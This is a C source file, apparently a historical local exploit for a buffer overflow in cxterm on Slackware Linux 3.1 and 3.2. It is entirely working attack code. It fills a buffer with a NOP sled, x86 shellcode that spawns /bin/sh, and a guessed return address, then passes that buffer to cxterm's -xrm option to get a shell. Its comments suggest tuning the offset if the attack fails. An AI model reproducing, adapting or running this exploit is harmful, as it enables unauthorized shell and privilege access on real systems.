/* cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang mzhang@softcom.net */ #include #include #include #include #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; /* use a different offset if you find this program doesn't do the job */ if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("Buy more RAM!\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr, "This bug is discovered by Ming Zhang (mzhang@softcom.net)\n"); /* Don't need to set ur DISPLAY to exploit this one, cool huh? */ execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL); }